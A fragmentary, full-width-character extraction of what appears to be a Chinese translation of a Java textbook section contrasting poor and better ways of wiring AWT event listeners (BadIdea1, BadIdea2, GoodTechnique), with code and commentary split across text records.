    {"text": "｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｂ１Ｌ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｕｔｔｏｎ １ ｐｒｅｓｓｅｄ＂）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｂ２Ｌ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｕｔｔｏｎ ２ ｐｒｅｓｓｅｄ＂）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｆｒａｍｅ ｆ ＝ ｎｅｗ ＧｏｏｄＩｄｅａ（）； ｆ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ４３５ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ）｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｗｉｎｄｏｗ Ｃｌｏｓｉｎｇ＂）； Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "下面是一个例子： ／／： ＢａｄＩｄｅａ１．ｊａｖａ ／／ Ｓｏｍｅ ｌｉｔｅｒａｔｕｒｅ ｒｅｃｏｍｍｅｎｄｓ ｔｈｉｓ ａｐｐｒｏａｃｈ， ／／ ｂｕｔ ｉｔ＇ｓ ｍｉｓｓｉｎｇ ｔｈｅ ｐｏｉｎｔ ｏｆ ｔｈｅ ｎｅｗ ｅｖｅｎｔ ／／ ｍｏｄｅｌ ｉｎ Ｊａｖａ １．１ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＢａｄＩｄｅａ１ ｅｘｔｅｎｄｓ Ｆｒａｍｅ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ， ＷｉｎｄｏｗＬｉｓｔｅｎｅｒ ｛ Ｂｕｔｔｏｎ ｂ１ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ １＂）， ｂ２ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ ２＂）； ｐｕｂｌｉｃ ＢａｄＩｄｅａ１（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＦｌｏｗＬａｙｏｕｔ（））； ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ｔｈｉｓ）； ｂ１．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｔｈｉｓ）； ｂ２．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｔｈｉｓ）； ａｄｄ（ｂ１）； ａｄｄ（ｂ２）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ Ｏｂｊｅｃｔ ｓｏｕｒｃｅ ＝ ｅ．ｇｅｔＳｏｕｒｃｅ（）； ｉｆ（ｓｏｕｒｃｅ ＝＝ ｂ１） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｕｔｔｏｎ １ ｐｒｅｓｓｅｄ＂）； ｅｌｓｅ ｉｆ（ｓｏｕｒｃｅ ＝＝ ｂ２） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｕｔｔｏｎ ２ ｐｒｅｓｓｅｄ＂）； ｅｌｓｅ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｏｍｅｔｈｉｎｇ ｅｌｓｅ＂）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ ４３６ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｗｉｎｄｏｗ Ｃｌｏｓｉｎｇ＂）； Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "｝ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｅｄ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛｝ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＤｅｉｃｏｎｉｆｉｅｄ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛｝ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＩｃｏｎｉｆｉｅｄ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛｝ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＡｃｔｉｖａｔｅｄ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛｝ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＤｅａｃｔｉｖａｔｅｄ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛｝ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＯｐｅｎｅｄ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｆｒａｍｅ ｆ ＝ ｎｅｗ ＢａｄＩｄｅａ１（）；"},
    {"text": "｝ ｝ ／／／：￣ 这样做的用途显示在下述三行里： ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ｔｈｉｓ）； ｂ１．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｔｈｉｓ）； ｂ２．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｔｈｉｓ）；"},
    {"text": "因为 Ｂａｄｉｄｅａ１ 执行动作接收器和窗中接收器，这些程序行当然可以接受，并且如果我们一直坚持设法使少量 的类去减少服务器检索期间的程序片载入的作法，它看起来变成一个不错的主意。"},
    {"text": "注意我们必须不仅要执行各种各样的接口为我们 的主类，但在 ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（）方法中，我们利用一串条件语句测试哪个动作被完成了。"},
    {"text": "不仅仅是这个状 态倒退，远离接收器模型，除此之外，我们不能简单地重复使用 ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（）方法因为它是指定为这 个特殊的应用程序使用的。"},
    {"text": "／／： ＢａｄＩｄｅａ２．ｊａｖａ ／／ Ａｎ ｉｍｐｒｏｖｅｍｅｎｔ ｏｖｅｒ ＢａｄＩｄｅａ１．ｊａｖａ， ｓｉｎｃｅ ｉｔ ／／ ｕｓｅｓ ｔｈｅ ＷｉｎｄｏｗＡｄａｐｔｅｒ ａｓ ａｎ ｉｎｎｅｒ ｃｌａｓｓ ／／ ｉｎｓｔｅａｄ ｏｆ ｉｍｐｌｅｍｅｎｔｉｎｇ ａｌｌ ｔｈｅ ｍｅｔｈｏｄｓ ｏｆ ／／ ＷｉｎｄｏｗＬｉｓｔｅｎｅｒ， ｂｕｔ ｓｔｉｌｌ ｍｉｓｓｅｓ ｔｈｅ ／／ ｖａｌｕａｂｌｅ ｍｏｄｕｌａｒｉｔｙ ｏｆ ｉｎｎｅｒ ｃｌａｓｓｅｓ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＢａｄＩｄｅａ２ ｅｘｔｅｎｄｓ Ｆｒａｍｅ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ Ｂｕｔｔｏｎ ｂ１ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ １＂）， ｂ２ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ ２＂）； ４３７ ｐｕｂｌｉｃ ＢａｄＩｄｅａ２（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＦｌｏｗＬａｙｏｕｔ（））； ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ｎｅｗ ＷＬ（））； ｂ１．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｔｈｉｓ）； ｂ２．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｔｈｉｓ）； ａｄｄ（ｂ１）； ａｄｄ（ｂ２）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ Ｏｂｊｅｃｔ ｓｏｕｒｃｅ ＝ ｅ．ｇｅｔＳｏｕｒｃｅ（）； ｉｆ（ｓｏｕｒｃｅ ＝＝ ｂ１） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｕｔｔｏｎ １ ｐｒｅｓｓｅｄ＂）； ｅｌｓｅ ｉｆ（ｓｏｕｒｃｅ ＝＝ ｂ２） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｕｔｔｏｎ ２ ｐｒｅｓｓｅｄ＂）； ｅｌｓｅ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｏｍｅｔｈｉｎｇ ｅｌｓｅ＂）； ｝ ｃｌａｓｓ ＷＬ ｅｘｔｅｎｄｓ ＷｉｎｄｏｗＡｄａｐｔｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｗｉｎｄｏｗ Ｃｌｏｓｉｎｇ＂）； Ｓｙｓｔｅｍ．ｅｘｉｔ（０）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｆｒａｍｅ ｆ ＝ ｎｅｗ ＢａｄＩｄｅａ２（）； ｆ．ｓｅｔＳｉｚｅ（３００，２００）； ｆ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "这里有一个程 序例子来演示这种新的工作方法： ／／： ＧｏｏｄＴｅｃｈｎｉｑｕｅ．ｊａｖａ ／／ Ｙｏｕｒ ｆｉｒｓｔ ｃｈｏｉｃｅ ｗｈｅｎ ｏｖｅｒｒｉｄｉｎｇ ｃｏｍｐｏｎｅｎｔｓ ／／ ｓｈｏｕｌｄ ｂｅ ｔｏ ｉｎｓｔａｌｌ ｌｉｓｔｅｎｅｒｓ． Ｔｈｅ ｃｏｄｅ ｉｓ ／／ ｍｕｃｈ ｓａｆｅｒ， ｍｏｒｅ ｍｏｄｕｌａｒ ａｎｄ ｍａｉｎｔａｉｎａｂｌｅ． ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｃｌａｓｓ Ｄｉｓｐｌａｙ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＥＶＥＮＴ ＝ ０， ＣＯＭＰＯＮＥＮＴ ＝ １， ＭＯＵＳＥ ＝ ２， ＭＯＵＳＥ＿ＭＯＶＥ ＝ ３， ＦＯＣＵＳ ＝ ４， ＫＥＹ ＝ ５， ＡＣＴＩＯＮ ＝ ６， ＬＡＳＴ ＝ ７；"},
    {"text": "ｐｕｂｌｉｃ Ｓｔｒｉｎｇ［］ ｅｖｎｔ； ４３８ Ｄｉｓｐｌａｙ（） ｛ ｅｖｎｔ ＝ ｎｅｗ Ｓｔｒｉｎｇ［ＬＡＳＴ］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ＬＡＳＴ； ｉ＋＋） ｅｖｎｔ［ｉ］ ＝ ｎｅｗ Ｓｔｒｉｎｇ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｈｏｗ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ＬＡＳＴ； ｉ＋＋） ｇ．ｄｒａｗＳｔｒｉｎｇ（ｅｖｎｔ［ｉ］， ０， １０ ＊ ｉ ＋ １０）； ｝ ｝ ｃｌａｓｓ ＥｎａｂｌｅｄＰａｎｅｌ ｅｘｔｅｎｄｓ Ｐａｎｅｌ ｛ Ｃｏｌｏｒ ｃ； ｉｎｔ ｉｄ； Ｄｉｓｐｌａｙ ｄｉｓｐｌａｙ ＝ ｎｅｗ Ｄｉｓｐｌａｙ（）； ｐｕｂｌｉｃ ＥｎａｂｌｅｄＰａｎｅｌ（ｉｎｔ ｉ， Ｃｏｌｏｒ ｍｃ） ｛ ｉｄ ＝ ｉ； ｃ ＝ ｍｃ； ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＢｏｒｄｅｒＬａｙｏｕｔ（））； ａｄｄ（ｎｅｗ ＭｙＢｕｔｔｏｎ（）， ＢｏｒｄｅｒＬａｙｏｕｔ．ＳＯＵＴＨ）； ａｄｄＣｏｍｐｏｎｅｎｔＬｉｓｔｅｎｅｒ（ｎｅｗ ＣＬ（））； ａｄｄＦｏｃｕｓＬｉｓｔｅｎｅｒ（ｎｅｗ ＦＬ（））； ａｄｄＫｅｙＬｉｓｔｅｎｅｒ（ｎｅｗ ＫＬ（））； ａｄｄＭｏｕｓｅＬｉｓｔｅｎｅｒ（ｎｅｗ ＭＬ（））； ａｄｄＭｏｕｓｅＭｏｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＭＭＬ（））； ｝ ／／ Ｔｏ ｅｌｉｍｉｎａｔｅ ｆｌｉｃｋｅｒ： ｐｕｂｌｉｃ ｖｏｉｄ ｕｐｄａｔｅ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｐａｉｎｔ（ｇ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｇ．ｓｅｔＣｏｌｏｒ（ｃ）； Ｄｉｍｅｎｓｉｏｎ ｓ ＝ ｇｅｔＳｉｚｅ（）； ｇ．ｆｉｌｌＲｅｃｔ（０， ０， ｓ．ｗｉｄｔｈ， ｓ．ｈｅｉｇｈｔ）； ｇ．ｓｅｔＣｏｌｏｒ（Ｃｏｌｏｒ．ｂｌａｃｋ）； ｄｉｓｐｌａｙ．ｓｈｏｗ（ｇ）； ｝ ／／ Ｄｏｎ＇ｔ ｎｅｅｄ ｔｏ ｅｎａｂｌｅ ａｎｙｔｈｉｎｇ ｆｏｒ ｔｈｉｓ： ｐｕｂｌｉｃ ｖｏｉｄ ｐｒｏｃｅｓｓＥｖｅｎｔ（ＡＷＴＥｖｅｎｔ ｅ） ｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＥＶＥＮＴ］＝ ｅ．ｔｏＳｔｒｉｎｇ（）； ｒｅｐａｉｎｔ（）； ｓｕｐｅｒ．ｐｒｏｃｅｓｓＥｖｅｎｔ（ｅ）； ｝ ｃｌａｓｓ ＣＬ ｉｍｐｌｅｍｅｎｔｓ ＣｏｍｐｏｎｅｎｔＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｃｏｍｐｏｎｅｎｔＭｏｖｅｄ（ＣｏｍｐｏｎｅｎｔＥｖｅｎｔ ｅ）｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＣＯＭＰＯＮＥＮＴ］ ＝ ＂Ｃｏｍｐｏｎｅｎｔ ｍｏｖｅｄ＂； ｒｅｐａｉｎｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｃｏｍｐｏｎｅｎｔＲｅｓｉｚｅｄ（ＣｏｍｐｏｎｅｎｔＥｖｅｎｔ ｅ） ｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＣＯＭＰＯＮＥＮＴ］ ＝ ４３９ ＂Ｃｏｍｐｏｎｅｎｔ ｒｅｓｉｚｅｄ＂； ｒｅｐａｉｎｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｃｏｍｐｏｎｅｎｔＨｉｄｄｅｎ（ＣｏｍｐｏｎｅｎｔＥｖｅｎｔ ｅ） ｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＣＯＭＰＯＮＥＮＴ］ ＝ ＂Ｃｏｍｐｏｎｅｎｔ ｈｉｄｄｅｎ＂； ｒｅｐａｉｎｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｃｏｍｐｏｎｅｎｔＳｈｏｗｎ（ＣｏｍｐｏｎｅｎｔＥｖｅｎｔ ｅ）｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＣＯＭＰＯＮＥＮＴ］ ＝ ＂Ｃｏｍｐｏｎｅｎｔ ｓｈｏｗｎ＂； ｒｅｐａｉｎｔ（）； ｝ ｝ ｃｌａｓｓ ＦＬ ｉｍｐｌｅｍｅｎｔｓ ＦｏｃｕｓＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｆｏｃｕｓＧａｉｎｅｄ（ＦｏｃｕｓＥｖｅｎｔ ｅ） ｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＦＯＣＵＳ］ ＝ ＂ＦＯＣＵＳ ｇａｉｎｅｄ＂； ｒｅｐａｉｎｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｆｏｃｕｓＬｏｓｔ（ＦｏｃｕｓＥｖｅｎｔ ｅ） ｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＦＯＣＵＳ］ ＝ ＂ＦＯＣＵＳ ｌｏｓｔ＂； ｒｅｐａｉｎｔ（）； ｝ ｝ ｃｌａｓｓ ＫＬ ｉｍｐｌｅｍｅｎｔｓ ＫｅｙＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｋｅｙＰｒｅｓｓｅｄ（ＫｅｙＥｖｅｎｔ ｅ） ｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＫＥＹ］ ＝ ＂ＫＥＹ ｐｒｅｓｓｅｄ： ＂； ｓｈｏｗＣｏｄｅ（ｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｋｅｙＲｅｌｅａｓｅｄ（ＫｅｙＥｖｅｎｔ ｅ） ｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＫＥＹ］ ＝ ＂ＫＥＹ ｒｅｌｅａｓｅｄ： ＂； ｓｈｏｗＣｏｄｅ（ｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｋｅｙＴｙｐｅｄ（ＫｅｙＥｖｅｎｔ ｅ） ｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＫＥＹ］ ＝ ＂ＫＥＹ ｔｙｐｅｄ： ＂； ｓｈｏｗＣｏｄｅ（ｅ）； ｝ ｖｏｉｄ ｓｈｏｗＣｏｄｅ（ＫｅｙＥｖｅｎｔ ｅ） ｛ ｉｎｔ ｃｏｄｅ ＝ ｅ．ｇｅｔＫｅｙＣｏｄｅ（）； ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＫＥＹ］ ＋＝ ＫｅｙＥｖｅｎｔ．ｇｅｔＫｅｙＴｅｘｔ（ｃｏｄｅ）； ｒｅｐａｉｎｔ（）； ｝ ｝ ｃｌａｓｓ ＭＬ ｉｍｐｌｅｍｅｎｔｓ ＭｏｕｓｅＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｍｏｕｓｅＣｌｉｃｋｅｄ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ４４０ ｒｅｑｕｅｓｔＦｏｃｕｓ（）； ／／ Ｇｅｔ ＦＯＣＵＳ ｏｎ ｃｌｉｃｋ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ］ ＝ ＂ＭＯＵＳＥ ｃｌｉｃｋｅｄ＂； ｓｈｏｗＭｏｕｓｅ（ｅ）；"},
    {"text": "｝ ｐｕｂｌｉｃ ｖｏｉｄ ｍｏｕｓｅＰｒｅｓｓｅｄ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ］ ＝ ＂ＭＯＵＳＥ ｐｒｅｓｓｅｄ＂； ｓｈｏｗＭｏｕｓｅ（ｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｍｏｕｓｅＲｅｌｅａｓｅｄ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ］ ＝ ＂ＭＯＵＳＥ ｒｅｌｅａｓｅｄ＂； ｓｈｏｗＭｏｕｓｅ（ｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｍｏｕｓｅＥｎｔｅｒｅｄ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ］ ＝ ＂ＭＯＵＳＥ ｅｎｔｅｒｅｄ＂； ｓｈｏｗＭｏｕｓｅ（ｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｍｏｕｓｅＥｘｉｔｅｄ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ］ ＝ ＂ＭＯＵＳＥ ｅｘｉｔｅｄ＂； ｓｈｏｗＭｏｕｓｅ（ｅ）； ｝ ｖｏｉｄ ｓｈｏｗＭｏｕｓｅ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ］ ＋＝ ＂， ｘ ＝ ＂ ＋ ｅ．ｇｅｔＸ（） ＋ ＂， ｙ ＝ ＂ ＋ ｅ．ｇｅｔＹ（）； ｒｅｐａｉｎｔ（）； ｝ ｝ ｃｌａｓｓ ＭＭＬ ｉｍｐｌｅｍｅｎｔｓ ＭｏｕｓｅＭｏｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｍｏｕｓｅＤｒａｇｇｅｄ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ＿ＭＯＶＥ］ ＝ ＂ＭＯＵＳＥ ｄｒａｇｇｅｄ＂； ｓｈｏｗＭｏｕｓｅ（ｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｍｏｕｓｅＭｏｖｅｄ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ＿ＭＯＶＥ］ ＝ ＂ＭＯＵＳＥ ｍｏｖｅｄ＂； ｓｈｏｗＭｏｕｓｅ（ｅ）； ｝ ｖｏｉｄ ｓｈｏｗＭｏｕｓｅ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ＿ＭＯＶＥ］ ＋＝ ＂， ｘ ＝ ＂ ＋ ｅ．ｇｅｔＸ（） ＋ ＂， ｙ ＝ ＂ ＋ ｅ．ｇｅｔＹ（）； ｒｅｐａｉｎｔ（）； ｝ ｝ ｝ ４４１ ｃｌａｓｓ ＭｙＢｕｔｔｏｎ ｅｘｔｅｎｄｓ Ｂｕｔｔｏｎ ｛ ｉｎｔ ｃｌｉｃｋＣｏｕｎｔｅｒ； Ｓｔｒｉｎｇ ｌａｂｅｌ ＝ ＂＂； ｐｕｂｌｉｃ ＭｙＢｕｔｔｏｎ（） ｛ ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＡＬ（））； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｇ．ｓｅｔＣｏｌｏｒ（Ｃｏｌｏｒ．ｇｒｅｅｎ）； Ｄｉｍｅｎｓｉｏｎ ｓ ＝ ｇｅｔＳｉｚｅ（）； ｇ．ｆｉｌｌＲｅｃｔ（０， ０， ｓ．ｗｉｄｔｈ， ｓ．ｈｅｉｇｈｔ）； ｇ．ｓｅｔＣｏｌｏｒ（Ｃｏｌｏｒ．ｂｌａｃｋ）； ｇ．ｄｒａｗＲｅｃｔ（０， ０， ｓ．ｗｉｄｔｈ － １， ｓ．ｈｅｉｇｈｔ － １）； ｄｒａｗＬａｂｅｌ（ｇ）； ｝ ｐｒｉｖａｔｅ ｖｏｉｄ ｄｒａｗＬａｂｅｌ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ＦｏｎｔＭｅｔｒｉｃｓ ｆｍ ＝ ｇ．ｇｅｔＦｏｎｔＭｅｔｒｉｃｓ（）； ｉｎｔ ｗｉｄｔｈ ＝ ｆｍ．ｓｔｒｉｎｇＷｉｄｔｈ（ｌａｂｅｌ）； ｉｎｔ ｈｅｉｇｈｔ ＝ ｆｍ．ｇｅｔＨｅｉｇｈｔ（）； ｉｎｔ ａｓｃｅｎｔ ＝ ｆｍ．ｇｅｔＡｓｃｅｎｔ（）； ｉｎｔ ｌｅａｄｉｎｇ ＝ ｆｍ．ｇｅｔＬｅａｄｉｎｇ（）； ｉｎｔ ｈｏｒｉｚＭａｒｇｉｎ ＝ （ｇｅｔＳｉｚｅ（）．ｗｉｄｔｈ － ｗｉｄｔｈ）／２； ｉｎｔ ｖｅｒＭａｒｇｉｎ ＝ （ｇｅｔＳｉｚｅ（）．ｈｅｉｇｈｔ － ｈｅｉｇｈｔ）／２； ｇ．ｓｅｔＣｏｌｏｒ（Ｃｏｌｏｒ．ｒｅｄ）； ｇ．ｄｒａｗＳｔｒｉｎｇ（ｌａｂｅｌ， ｈｏｒｉｚＭａｒｇｉｎ， ｖｅｒＭａｒｇｉｎ ＋ ａｓｃｅｎｔ ＋ ｌｅａｄｉｎｇ）； ｝ ｃｌａｓｓ ＡＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｃｌｉｃｋＣｏｕｎｔｅｒ＋＋； ｌａｂｅｌ ＝ ＂ｃｌｉｃｋ ＃＂ ＋ ｃｌｉｃｋＣｏｕｎｔｅｒ ＋ ＂ ＂ ＋ ｅ．ｔｏＳｔｒｉｎｇ（）； ｒｅｐａｉｎｔ（）； ｝ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＧｏｏｄＴｅｃｈｎｉｑｕｅ ｅｘｔｅｎｄｓ Ｆｒａｍｅ ｛ ＧｏｏｄＴｅｃｈｎｉｑｕｅ（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（２，２））； ａｄｄ（ｎｅｗ ＥｎａｂｌｅｄＰａｎｅｌ（１， Ｃｏｌｏｒ．ｃｙａｎ））； ａｄｄ（ｎｅｗ ＥｎａｂｌｅｄＰａｎｅｌ（２， Ｃｏｌｏｒ．ｌｉｇｈｔＧｒａｙ））； ａｄｄ（ｎｅｗ ＥｎａｂｌｅｄＰａｎｅｌ（３， Ｃｏｌｏｒ．ｙｅｌｌｏｗ））； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｆｒａｍｅ ｆ ＝ ｎｅｗ ＧｏｏｄＴｅｃｈｎｉｑｕｅ（）； ｆ．ｓｅｔＴｉｔｌｅ（＂Ｇｏｏｄ Ｔｅｃｈｎｉｑｕｅ＂）； ｆ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ 